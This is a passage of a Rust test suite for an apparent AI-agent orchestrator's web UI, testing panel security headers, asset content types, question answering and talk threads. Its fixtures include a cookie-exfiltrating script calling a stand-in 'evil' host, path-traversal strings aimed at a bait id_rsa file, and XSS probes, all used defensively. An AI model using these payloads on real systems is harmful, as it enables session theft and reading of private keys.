9302 request_with(addr, method, path, body, &[]).await
9303 }
9304
9305 async fn request_with(
9309 addr: SocketAddr,
9310 method: &str,
9311 path: &str,
9312 body: Option<&str>,
9313 extra: &[(&str, &str)],
9314 ) -> Res {
9315 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9316 for (name, value) in extra {
9317 head.push_str(&format!("{name}: {value}\r\n"));
9318 }
9319 if let Some(body) = body {
9320 head.push_str("Content-Type: application/json\r\n");
9321 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
9322 }
9323 head.push_str("\r\n");
9324 if let Some(body) = body {
9325 head.push_str(body);
9326 }
9327 let mut socket = tokio::net::TcpStream::connect(addr)
9328 .await
9329 .expect("connect to the test server");
9330 socket
9331 .write_all(head.as_bytes())
9332 .await
9333 .expect("write request");
9334 let mut raw = Vec::new();
9335 socket.read_to_end(&mut raw).await.expect("read response");
9336 let split = raw
9339 .windows(4)
9340 .position(|w| w == b"\r\n\r\n")
9341 .expect("a header block");
9342 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
9343 let bytes = raw[split + 4..].to_vec();
9344 let status = head
9345 .lines()
9346 .next()
9347 .and_then(|line| line.split_whitespace().nth(1))
9348 .and_then(|code| code.parse().ok())
9349 .expect("a status line");
9350 Res {
9351 status,
9352 headers: head.to_lowercase(),
9353 head,
9354 body: String::from_utf8_lossy(&bytes).into_owned(),
9355 bytes,
9356 }
9357 }
9358
9359 async fn request_bytes(
9365 addr: SocketAddr,
9366 path: &str,
9367 headers: &[(&str, &str)],
9368 body: &[u8],
9369 ) -> Res {
9370 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9371 for (name, value) in headers {
9372 head.push_str(&format!("{name}: {value}\r\n"));
9373 }
9374 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
9375 let mut socket = tokio::net::TcpStream::connect(addr)
9376 .await
9377 .expect("connect to the test server");
9378 socket
9379 .write_all(head.as_bytes())
9380 .await
9381 .expect("write request head");
9382 socket.write_all(body).await.expect("write request body");
9383 let mut raw = Vec::new();
9384 socket.read_to_end(&mut raw).await.expect("read response");
9385 let split = raw
9386 .windows(4)
9387 .position(|w| w == b"\r\n\r\n")
9388 .expect("a header block");
9389 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
9390 let bytes = raw[split + 4..].to_vec();
9391 let status = head
9392 .lines()
9393 .next()
9394 .and_then(|line| line.split_whitespace().nth(1))
9395 .and_then(|code| code.parse().ok())
9396 .expect("a status line");
9397 Res {
9398 status,
9399 headers: head.to_lowercase(),
9400 head,
9401 body: String::from_utf8_lossy(&bytes).into_owned(),
9402 bytes,
9403 }
9404 }
9405
9406 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
9408 let mut state = RunState::new(
9409 PathBuf::from("/repo/magi"),
9410 "main".to_owned(),
9411 "0123456789abcdef".to_owned(),
9412 "Add a web UI\n\nMobile first.".to_owned(),
9413 Config::default(),
9414 );
9415 state.id = id.to_owned();
9416 state.status = status;
9417 let dir = runs.join(id);
9418 std::fs::create_dir_all(&dir).expect("run dir");
9419 std::fs::write(
9420 dir.join("run.json"),
9421 serde_json::to_string_pretty(&state).expect("serialize run"),
9422 )
9423 .expect("write run.json");
9424 }
9425
9426 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
9430 let mut state = RunState::new(
9431 PathBuf::from(repo),
9432 "main".to_owned(),
9433 "0123456789abcdef".to_owned(),
9434 "task".to_owned(),
9435 Config::default(),
9436 );
9437 state.id = id.to_owned();
9438 state.status = status;
9439 let dir = runs.join(id);
9440 std::fs::create_dir_all(&dir).expect("run dir");
9441 std::fs::write(
9442 dir.join("run.json"),
9443 serde_json::to_string_pretty(&state).expect("serialize run"),
9444 )
9445 .expect("write run.json");
9446 }
9447
9448 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
9449 let body = serde_json::json!({
9450 "schema": 1,
9451 "pid": 4242,
9452 "started_at": Timestamp::now().to_string(),
9453 "updated_at": updated_at.to_string(),
9454 "idle": false,
9455 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
9456 "completed": 7,
9457 "polls": 143,
9458 });
9459 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
9460 }
9461
9462 fn launch_idle(
9472 _opts: daemon::Opts,
9473 stop: daemon::Stop,
9474 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9475 Box::pin(async move {
9476 while !stop.stopped() {
9477 tokio::time::sleep(Duration::from_millis(2)).await;
9478 }
9479 Ok(())
9480 })
9481 }
9482
9483 fn launch_broken(
9486 _opts: daemon::Opts,
9487 _stop: daemon::Stop,
9488 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9489 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
9494 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
9495 Box::pin(async move {
9496 Err(anyhow::anyhow!(if first {
9497 "publish the daemon status file: read-only file system"
9498 } else {
9499 "the restarted stand-in failed as well"
9500 }))
9501 })
9502 }
9503
9504 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
9511 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
9512
9513 fn launch_knocking_on_the_way_out(
9520 _opts: daemon::Opts,
9521 stop: daemon::Stop,
9522 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9523 Box::pin(async move {
9524 while !stop.stopped() {
9525 tokio::time::sleep(Duration::from_millis(2)).await;
9526 }
9527 let addr = PARK_KNOCK
9528 .lock()
9529 .expect("park knock")
9530 .expect("the test set an address");
9531 let heard = request(addr, "GET", "/api/health", None).await.status;
9532 *PARK_HEARD.lock().expect("park heard") = Some(heard);
9533 Ok(())
9534 })
9535 }
9536
9537 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
9546 for _ in 0..SETTLE_STEPS {
9547 let view = fx.get("/api/loop").await.json();
9548 if want(&view) {
9549 return view;
9550 }
9551 tokio::time::sleep(Duration::from_millis(10)).await;
9552 }
9553 panic!(
9554 "the loop never settled: {}",
9555 fx.get("/api/loop").await.json()
9556 );
9557 }
9558
9559 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
9561 let store = fx.questions();
9562 let mut q = Question::new(
9563 "20260902-000000-beef".to_owned(),
9564 "implement".to_owned(),
9565 "impl-A".to_owned(),
9566 summary.to_owned(),
9567 "because it matters".to_owned(),
9568 choices.iter().map(|c| (*c).to_owned()).collect(),
9569 );
9570 store.put(&mut q).expect("put question");
9571 q.id
9572 }
9573
9574 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
9580 let store = fx.questions();
9581 let mut q = Question::new(
9582 "20260902-000000-beef".to_owned(),
9583 "land".to_owned(),
9584 "fix".to_owned(),
9585 "Merge this?".to_owned(),
9586 "the diff is in the panel".to_owned(),
9587 vec!["merge".to_owned(), "hold".to_owned()],
9588 );
9589 let staging = fx.home.path().join("staging");
9592 std::fs::create_dir_all(&staging).expect("staging dir");
9593 let sources: Vec<PathBuf> = assets
9594 .iter()
9595 .map(|(name, bytes)| {
9596 let path = staging.join(name);
9597 std::fs::write(&path, bytes).expect("write staged asset");
9598 path
9599 })
9600 .collect();
9601 store
9602 .put_panel(&mut q, html, &sources)
9603 .expect("write the panel");
9604 store.put(&mut q).expect("put question");
9605 q.id
9606 }
9607
9608 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
9617 seed_talk_at(&fx.talks(), id, status)
9618 }
9619
9620 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
9621 std::fs::create_dir_all(store.root()).expect("talks dir");
9622 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
9623 .expect("serialize a seat");
9624 let body = serde_json::json!({
9625 "schema": 1,
9626 "id": id,
9627 "repo": "/repo/magi",
9628 "agent": "mock",
9629 "status": status,
9630 "turns": [],
9631 "created_at": Timestamp::now().to_string(),
9632 "updated_at": Timestamp::now().to_string(),
9633 "seat": seat,
9634 });
9635 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
9636 store.get(id).expect("the seeded talk has to be readable");
9637 id.to_owned()
9638 }
9639
9640 #[tokio::test]
9641 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
9642 let fx = Fixture::start().await;
9643 let id = panel(
9644 &fx,
9645 "<h1>Merge?</h1><img src=\"diff.svg\">",
9646 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
9647 );
9648
9649 for path in [
9650 format!("/api/questions/{id}/panel"),
9651 format!("/api/questions/{id}/asset/diff.svg"),
9652 ] {
9653 let res = fx.get(&path).await;
9654 assert_eq!(res.status, 200, "{path}: {}", res.body);
9655 assert_eq!(
9661 res.header("content-security-policy"),
9662 Some(
9663 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
9664 font-src data:; base-uri 'none'; form-action 'none'; \
9665 frame-ancestors 'self'"
9666 ),
9667 "{path} is the only thing between a hostile panel and the tailnet"
9668 );
9669 assert_eq!(
9670 res.header("x-content-type-options"),
9671 Some("nosniff"),
9672 "{path}: a browser must not re-decide the type we sent"
9673 );
9674 assert_eq!(
9675 res.header("referrer-policy"),
9676 Some("no-referrer"),
9677 "{path}: a panel must not leak the question id off the machine"
9678 );
9679
9680 let pre = fx.head(&path).await;
9685 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
9686 assert_eq!(
9687 pre.header("content-security-policy"),
9688 res.header("content-security-policy"),
9689 "{path}: the preflight carries the same policy"
9690 );
9691 assert_eq!(
9692 pre.header("content-type"),
9693 res.header("content-type"),
9694 "{path}: the preflight carries the same type"
9695 );
9696 }
9697 }
9698
9699 #[tokio::test]
9700 async fn a_panel_reaches_the_browser_byte_for_byte() {
9701 let fx = Fixture::start().await;
9702 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
9707 let id = panel(&fx, html, &[]);
9708
9709 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
9710
9711 assert_eq!(res.status, 200);
9712 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
9713 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
9714 assert_eq!(
9715 res.header("content-disposition"),
9716 None,
9717 "the panel itself is rendered in the frame, not downloaded"
9718 );
9719 }
9720
9721 #[tokio::test]
9722 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
9723 let fx = Fixture::start().await;
9724 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
9725 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
9726 let id = panel(
9727 &fx,
9728 "<img src=\"diff.svg\"><img src=\"shot.png\">",
9729 &[("diff.svg", svg), ("shot.png", png)],
9730 );
9731
9732 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
9733 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
9734
9735 assert_eq!(as_svg.status, 200);
9736 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
9737 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
9742
9743 assert_eq!(as_png.status, 200);
9744 assert_eq!(as_png.header("content-type"), Some("image/png"));
9745 assert_eq!(
9746 as_png.header("content-disposition"),
9747 None,
9748 "a raster image has no execution surface, so tapping it still shows it"
9749 );
9750 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
9751 }
9752
9753 #[tokio::test]
9754 async fn an_html_asset_is_never_served_as_html() {
9755 let fx = Fixture::start().await;
9756 let id = panel(
9757 &fx,
9758 "<p>see the notes</p>",
9759 &[
9760 (
9761 "notes.html",
9762 b"<script>fetch('http://evil/'+document.cookie)</script>",
9763 ),
9764 ("hook.js", b"fetch('http://evil/')"),
9765 ("data.json", b"{}"),
9766 ("HEADLINE.TXT", b"plain"),
9767 ],
9768 );
9769
9770 for name in ["notes.html", "hook.js", "data.json"] {
9771 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
9772 assert_eq!(res.status, 200, "{name}: {}", res.body);
9773 assert_eq!(
9778 res.header("content-type"),
9779 Some("application/octet-stream"),
9780 "{name} must not be a type the browser will execute or render"
9781 );
9782 }
9783 let txt = fx
9786 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
9787 .await;
9788 assert_eq!(
9789 txt.header("content-type"),
9790 Some("text/plain; charset=utf-8")
9791 );
9792 }
9793
9794 #[tokio::test]
9795 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
9796 let fx = Fixture::start().await;
9797 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9798 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
9802
9803 for encoded in [
9810 "%2e%2e%2fid_rsa",
9811 "..%2fid_rsa",
9812 "..%5cid_rsa",
9813 "%2e%2e%5cid_rsa",
9814 "diff%00.svg",
9815 "..",
9816 ".hidden",
9817 "%2e%2e%2f%2e%2e%2fid_rsa",
9818 ] {
9819 let res = fx
9820 .get(&format!("/api/questions/{id}/asset/{encoded}"))
9821 .await;
9822 assert_eq!(
9823 res.status, 400,
9824 "`{encoded}` has to be refused by name, not looked up: {}",
9825 res.body
9826 );
9827 assert!(res.json()["error"].is_string(), "{}", res.body);
9828 }
9829
9830 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
9836 let res = fx
9837 .get(&format!("/api/questions/{id}/asset/{literal}"))
9838 .await;
9839 assert_eq!(
9840 res.status, 404,
9841 "`{literal}` must not match the asset route at all: {}",
9842 res.body
9843 );
9844 }
9845 }
9846
9847 #[tokio::test]
9848 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
9849 let fx = Fixture::start().await;
9850 let plain = ask(&fx, "Which backend?", &["SQLite"]);
9851 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9852
9853 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
9857 assert_eq!(none.status, 404, "{}", none.body);
9858 assert!(none.json()["error"].is_string(), "{}", none.body);
9859 assert_eq!(
9860 fx.head(&format!("/api/questions/{plain}/panel"))
9861 .await
9862 .status,
9863 404,
9864 "the preflight is the only way the client can learn this"
9865 );
9866
9867 let missing = fx
9869 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
9870 .await;
9871 assert_eq!(missing.status, 404, "{}", missing.body);
9872 assert!(missing.json()["error"].is_string(), "{}", missing.body);
9873
9874 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
9876 assert_eq!(
9877 fx.get("/api/questions/nope/asset/diff.svg").await.status,
9878 404
9879 );
9880 }
9881
9882 #[tokio::test]
9883 async fn a_run_with_an_open_question_reads_as_waiting() {
9884 let fx = Fixture::start().await;
9885 let run = "20260902-000000-beef".to_owned();
9886 write_run(&fx.runs(), &run, RunStatus::Implementing);
9887
9888 let before = fx.get("/api/runs").await.json();
9889 assert_eq!(before[0]["waiting"], false, "{before}");
9890
9891 let store = fx.questions();
9892 let mut q = Question::new(
9893 run.clone(),
9894 "implement".to_owned(),
9895 "impl-A".to_owned(),
9896 "Which backend?".to_owned(),
9897 String::new(),
9898 vec!["SQLite".to_owned()],
9899 );
9900 store.put(&mut q).expect("put");
9901
9902 let during = fx.get("/api/runs").await.json();
9903 assert_eq!(during[0]["waiting"], true, "{during}");
9904
9905 q.answer(Answer::Choice("SQLite".to_owned()))
9908 .expect("answer");
9909 store.put(&mut q).expect("put");
9910 let after = fx.get("/api/runs").await.json();
9911 assert_eq!(after[0]["waiting"], false, "{after}");
9912 }
9913
9914 #[tokio::test]
9915 async fn an_open_question_is_listed_and_counted_by_health() {
9916 let fx = Fixture::start().await;
9917 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
9918
9919 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9920 let listed = fx.get("/api/questions").await.json();
9921 assert_eq!(listed.as_array().expect("array").len(), 1);
9922 assert_eq!(listed[0]["id"], id);
9923 assert_eq!(listed[0]["status"], "open");
9924 assert_eq!(listed[0]["choices"][1], "Redis");
9925 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9928 }
9929
9930 #[tokio::test]
9931 async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
9932 let fx = Fixture {
9933 home: TempDir::new().unwrap(),
9934 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
9935 };
9936 let mut state = crate::land::tests::repair_state(true, true);
9937 state.status = RunStatus::Landing;
9938 state.parked = true;
9939 state.driver_exited = true;
9940 let mut task = Task::new(
9941 "Existing PR owner".into(),
9942 state.instruction.clone(),
9943 state.repo.clone(),
9944 Source::Human,
9945 );
9946 task.runs.push(state.id.clone());
9947 task.status = TaskStatus::Parked;
9948 fx.queue().put(&mut task).unwrap();
9949 let mut q = Question::new(
9950 state.id.clone(),
9951 crate::land::APPROVAL_NODE.into(),
9952 "land".into(),
9953 "Contested merge".into(),
9954 "Original evidence".into(),
9955 vec!["merge".into(), "hold".into()],
9956 );
9957 state.land_approval = Some(crate::run::LandApproval {
9958 question: q.id.clone(),
9959 head: "reviewed-head".into(),
9960 });
9961 state.save_under(fx.home.path()).unwrap();
9962 fx.questions().put(&mut q).unwrap();
9963 task.hold_manual(Some("Pause this PR".into()));
9965 fx.queue().put(&mut task).unwrap();
9966 let ui = Arc::new(Ui::new(
9969 fx.queue(),
9970 fx.questions(),
9971 fx.talks(),
9972 fx.runs(),
9973 fx.home.path().to_path_buf(),
9974 state.repo.clone(),
9975 ));
9976 let response = question_answer(
9977 State(ui),
9978 Path(q.id.clone()),
9979 Ok(Json(NewAnswer {
9980 choice: Some(crate::land::REPAIR.into()),
9981 text: None,
9982 })),
9983 )
9984 .await
9985 .unwrap();
9986 assert_eq!(response.0.question.id, q.id);
9987 let upgraded = fx.questions().get(&q.id).unwrap();
9988 assert_eq!(
9989 upgraded.choices,
9990 [crate::land::APPROVE, crate::land::HOLD, crate::land::REPAIR]
9991 );
9992 assert!(upgraded.detail.starts_with("Original evidence"));
9993 let claim = fx.queue().claim(&task.id).unwrap();
9994 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
9995 assert!(
9996 fx.queue().get(&task.id).unwrap().resume_override.is_none(),
9997 "an existing driver keeps its claim"
9998 );
9999 drop(claim);
10000 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10001 let resumed = fx.queue().get(&task.id).unwrap();
10002 assert_eq!(
10003 resumed
10004 .resume_override
10005 .as_ref()
10006 .unwrap()
10007 .pinned_run
10008 .as_deref(),
10009 Some(state.id.as_str())
10010 );
10011 assert!(resumed.status.runnable());
10012 assert_eq!(resumed.instruction, task.instruction);
10013 assert_eq!(resumed.runs, task.runs);
10014 assert!(resumed.action_applied(&q.id));
10015 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10016 assert_eq!(fx.queue().list().len(), 1);
10017 assert_eq!(
10018 fx.queue().get(&task.id).unwrap().resume_override,
10019 resumed.resume_override
10020 );
10021 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
10022 assert!(
10023 disk.merge_repairs.is_empty(),
10024 "only the claimed run driver may execute repair"
10025 );
10026 assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
10027 }
10028
10029 #[tokio::test]
10030 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
10031 let fx = Fixture::start().await;
10032 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10033 let path = format!("/api/questions/{id}/answer");
10034
10035 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
10036 assert_eq!(res.status, 200, "{}", res.body);
10037 let body = res.json();
10038 assert_eq!(body["status"], "answered");
10039 assert_eq!(body["answer"]["choice"], "Redis");
10040
10041 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
10045 assert_eq!(again.status, 409, "{}", again.body);
10046 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
10047 }
10048
10049 #[tokio::test]
10050 async fn saying_something_appends_a_turn_without_answering() {
10051 let fx = Fixture::start().await;
10052 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10053 let path = format!("/api/questions/{id}/say");
10054
10055 let res = fx
10056 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
10057 .await;
10058 assert_eq!(res.status, 200, "{}", res.body);
10059 let body = res.json();
10060 assert_eq!(body["status"], "open", "talking back is not a decision");
10061 assert_eq!(body["answer"], Value::Null);
10062 assert_eq!(body["thread"][0]["who"], "operator");
10063 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
10064 assert_eq!(body["waiting_on_agent"], true);
10065 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10067 }
10068
10069 #[tokio::test]
10070 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
10071 let fx = Fixture::start().await;
10072 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10073
10074 let list = fx.get("/api/questions").await.json();
10075 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
10076
10077 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
10078 assert_eq!(res.status, 409, "{}", res.body);
10079 let q = fx.questions().get(&id).unwrap();
10080 assert!(q.status.open());
10081 assert!(q.consult.is_none());
10082 }
10083
10084 #[tokio::test]
10085 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
10086 let fx = Fixture::start().await;
10087 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10088 let cfg = Config {
10089 agents: vec![crate::config::AgentSpec {
10090 id: "mock".to_owned(),
10091 kind: crate::config::AgentKind::Command,
10092 model: None,
10093 command: vec!["true".to_owned()],
10094 extra_args: Vec::new(),
10095 env: Default::default(),
10096 prompt_delivery: None,
10097 }],
10098 ..Config::default()
10099 };
10100 let talk = crate::talk::begin(
10101 &fx.talks(),
10102 &cfg,
10103 fx.home.path().to_path_buf(),
10104 Some("mock"),
10105 )
10106 .unwrap();
10107 let mut task = Task::new(
10108 "t".to_owned(),
10109 "Do it".to_owned(),
10110 PathBuf::from("/repo/magi"),
10111 Source::Agent {
10112 run: talk.id.clone(),
10113 node: crate::queue::CHAT_NODE.to_owned(),
10114 },
10115 );
10116 task.start("20260902-000000-beef".to_owned());
10117 fx.queue().put(&mut task).unwrap();
10118
10119 let list = fx.get("/api/questions").await.json();
10120 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
10121 assert_eq!(
10122 list[0]["choices"],
10123 serde_json::json!(["SQLite", "Redis"]),
10124 "the hand-over is never a choice"
10125 );
10126 fx.questions()
10127 .update(&id, |q| {
10128 q.node = crate::land::APPROVAL_NODE.into();
10129 q.choices = vec!["merge".into(), "hold".into()];
10130 Ok(())
10131 })
10132 .unwrap();
10133 let list = fx.get("/api/questions").await.json();
10134 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
10135 let _ = id;
10136 }
10137
10138 #[tokio::test]
10139 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
10140 let fx = Fixture::start().await;
10141 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10142 fx.questions()
10143 .update(&id, |q| {
10144 q.node = crate::land::APPROVAL_NODE.into();
10145 q.choices = vec!["merge".into(), "hold".into()];
10146 Ok(())
10147 })
10148 .unwrap();
10149 let cfg = Config {
10150 agents: vec![crate::config::AgentSpec {
10151 id: "mock".to_owned(),
10152 kind: crate::config::AgentKind::Command,
10153 model: None,
10154 command: vec!["true".to_owned()],
10155 extra_args: Vec::new(),
10156 env: Default::default(),
10157 prompt_delivery: None,
10158 }],
10159 ..Config::default()
10160 };
10161 let repo = fx.home.path().join("chat-repo");
10163 std::fs::create_dir_all(&repo).unwrap();
10164 let toml = repo.join("magi.toml");
10165 std::fs::write(&toml, "this is = = not toml").unwrap();
10166 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
10167 let mut task = Task::new(
10168 "t".to_owned(),
10169 "Do it".to_owned(),
10170 PathBuf::from("/repo/magi"),
10171 Source::Agent {
10172 run: talk.id.clone(),
10173 node: crate::queue::CHAT_NODE.to_owned(),
10174 },
10175 );
10176 task.start("20260902-000000-beef".to_owned());
10177 fx.queue().put(&mut task).unwrap();
10178
10179 let path = format!("/api/questions/{id}/consult");
10180 let res = fx.post(&path, None).await;
10181 assert!(res.status >= 400, "{}", res.body);
10182 assert!(fx.questions().get(&id).unwrap().consult.is_none());
10183 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
10184
10185 std::fs::write(&toml, "").unwrap();
10186 let res = fx.post(&path, None).await;
10187 assert_eq!(res.status, 202, "{}", res.body);
10188 assert!(fx.questions().get(&id).unwrap().consult.is_some());
10189 let q = fx.questions().get(&id).unwrap();
10190 assert!(q.status.open());
10191 assert!(q.answer.is_none());
10192 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
10193 }
10194
10195 #[tokio::test]
10196 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
10197 let fx = Fixture::start().await;
10198 let store = fx.questions();
10199 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10200 assert_eq!(
10201 fx.get("/api/health").await.json()["questions_needs_owner"],
10202 1
10203 );
10204
10205 let res = fx
10211 .post(
10212 &format!("/api/questions/{id}/say"),
10213 Some(r#"{"body":"why not Postgres?"}"#),
10214 )
10215 .await;
10216 assert_eq!(res.status, 200, "{}", res.body);
10217 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10218 assert_eq!(
10219 fx.get("/api/health").await.json()["questions_needs_owner"],
10220 0,
10221 "waiting on the agent is not waiting on the owner"
10222 );
10223
10224 let mut q = store.get(&id).expect("get");
10228 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
10229 .expect("reply");
10230 store.put(&mut q).expect("put");
10231 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10232 assert_eq!(
10233 fx.get("/api/health").await.json()["questions_needs_owner"],
10234 1,
10235 "the agent's reply is what should light the banner back up"
10236 );
10237 }
10238
10239 #[tokio::test]
10240 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
10241 let fx = Fixture::start().await;
10242 let store = fx.questions();
10243
10244 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10245 let res = fx
10246 .post(
10247 &format!("/api/questions/{empty_id}/say"),
10248 Some(r#"{"body":" "}"#),
10249 )
10250 .await;
10251 assert_eq!(res.status, 400, "{}", res.body);
10252
10253 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10254 let mut answered = store.get(&answered_id).expect("get");
10255 answered
10256 .answer(Answer::Choice("SQLite".to_owned()))
10257 .expect("answer");
10258 store.put(&mut answered).expect("put");
10259 let res = fx
10260 .post(
10261 &format!("/api/questions/{answered_id}/say"),
10262 Some(r#"{"body":"still there?"}"#),
10263 )
10264 .await;
10265 assert_eq!(res.status, 409, "{}", res.body);
10266
10267 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10268 let mut abandoned = store.get(&abandoned_id).expect("get");
10269 abandoned.abandon("timed out");
10270 store.put(&mut abandoned).expect("put");
10271 let res = fx
10272 .post(
10273 &format!("/api/questions/{abandoned_id}/say"),
10274 Some(r#"{"body":"still there?"}"#),
10275 )
10276 .await;
10277 assert_eq!(res.status, 409, "{}", res.body);
10278 }
10279
10280 #[tokio::test]
10281 async fn an_answer_the_question_does_not_offer_is_refused() {
10282 let fx = Fixture::start().await;
10283 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10284 let path = format!("/api/questions/{id}/answer");
10285
10286 for body in [
10287 r#"{"choice":"Postgres"}"#,
10288 r#"{"text":"whatever you think"}"#,
10289 r#"{"choice":"Redis","text":"both"}"#,
10290 r#"{}"#,
10291 ] {
10292 let res = fx.post(&path, Some(body)).await;
10293 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
10294 assert!(res.json()["error"].is_string(), "{}", res.body);
10295 }
10296 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10298 }
10299
10300 #[tokio::test]
10301 async fn a_free_text_question_takes_text_and_not_a_choice() {
10302 let fx = Fixture::start().await;
10303 let id = ask(&fx, "What should the flag be called?", &[]);
10304 let path = format!("/api/questions/{id}/answer");
10305
10306 assert_eq!(
10307 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
10308 400
10309 );
10310 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
10311 assert_eq!(res.status, 200, "{}", res.body);
10312 assert_eq!(res.json()["answer"]["text"], "--json");
10313 }
10314
10315 #[tokio::test]
10316 async fn an_unknown_question_is_a_json_404() {
10317 let fx = Fixture::start().await;
10318 let res = fx
10319 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
10320 .await;
10321 assert_eq!(res.status, 404, "{}", res.body);
10322 assert!(res.json()["error"].is_string());
10323 }
10324
10325 #[tokio::test]
10326 async fn notifications_list_read_dismiss_and_health_agree() {
10327 let fx = Fixture::start().await;
10328 let store = Notices::at(fx.home.path().join("notifications"));
10329 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
10330 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
10331
10332 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
10333 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
10334
10335 store
